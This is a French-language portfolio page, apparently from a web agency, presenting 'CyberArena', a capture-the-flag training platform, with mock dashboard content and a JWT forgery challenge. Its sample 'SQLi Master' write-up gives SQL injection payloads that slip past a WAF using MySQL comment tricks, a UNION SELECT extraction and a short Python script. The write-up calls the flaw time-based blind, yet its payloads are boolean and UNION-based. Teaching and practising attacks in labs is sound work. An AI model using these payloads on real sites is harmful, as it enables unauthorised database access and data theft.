CyberArena
Plateforme complète de Capture The Flag avec challenges dynamiques multi-catégories, environnements sandboxés Docker, classement temps réel et système de scoring avancé.
Client
Centre de formation cybersécurité
Stack
Fonctionnalités
Infos
Les noms de domaine affichés sont purement illustratifs. Par souci de confidentialité, les vrais domaines des projets ne peuvent être divulgués.
Dashboard
Winter CTF 2025 — En cours
SCORE
2,450
#3
CHALLENGES RÉSOLUS
18/42
43%
FIRST BLOODS
3
Top 5%
ÉQUIPE
CyberElite
4 membres
CLASSEMENT
#3
/128 teams
Progression du score
Par catégorie
Résolutions récentes
Top 5 — Classement live
Challenges
SQLi Master
XSS Playground
JWT Forgery
SSRF Chain
RSA Weak Keys
AES Oracle
ECC Attack
Buffer Overflow 101
Heap Exploit
Format String
Binary Maze
Malware Analysis
Challenges › Web › JWT Forgery
JWT Forgery
18 solves • Créé par @CryptoMaster • Aucun first blood de votre équipe
DESCRIPTION
Le serveur d'authentification utilise des JWT pour gérer les sessions. Trouvez une vulnérabilité dans l'implémentation et forgez un token admin pour accéder au flag.
# Target
https://jwt-forge.cyberarena.ctf:8443
# Endpoints
POST /api/login
GET /api/admin/flag
INDICES
SOUMETTRE LE FLAG
Format: CTF{flag_ici} • 3 tentatives restantes aujourd'hui
STATISTIQUES
SOLVERS RÉCENTS
FICHIERS
Scoreboard
Progression Top 5
Write-ups › Web › SQLi Master
SQLi Master — Write-up
Alice — CyberElite
🩸 First Blood • Résolu en 45 min
Reconnaissance
Le challenge présente un formulaire de login classique sur le port 8080. En inspectant les headers de réponse, on identifie un backend PHP avec MySQL.
# Scan initial
$ curl -v http://sqli-master.ctf:8080/login
# Headers intéressants
X-Powered-By: PHP/8.1
Server: Apache/2.4
Analyse de la vulnérabilité
Le paramètre username est vulnérable à une injection SQL basée sur le temps (time-based blind). Le WAF filtre les mots-clés classiques mais ne gère pas les commentaires imbriqués.
# Payload de test
username: admin' /*!AND*/ 1=1-- -
password: anything
# Réponse: 302 redirect → dashboard
# Confirmation de l'injection
Exploitation
En utilisant UNION SELECT avec le contournement du WAF, on extrait la table 'flags' :
# Extraction du flag
username: ' /*!UNION*/ /*!SELECT*/ 1,flag,3 FROM flags-- -
# Script automatisé
import requests
url = "http://sqli-master.ctf:8080/login"
payload = {"username": "' /*!UNION*/..."}
r = requests.post(url, data=payload)
print(r.text) # CTF{sql_1nj3ct10n_m4st3r}
FLAG
CTF{sql_1nj3ct10n_m4st3r}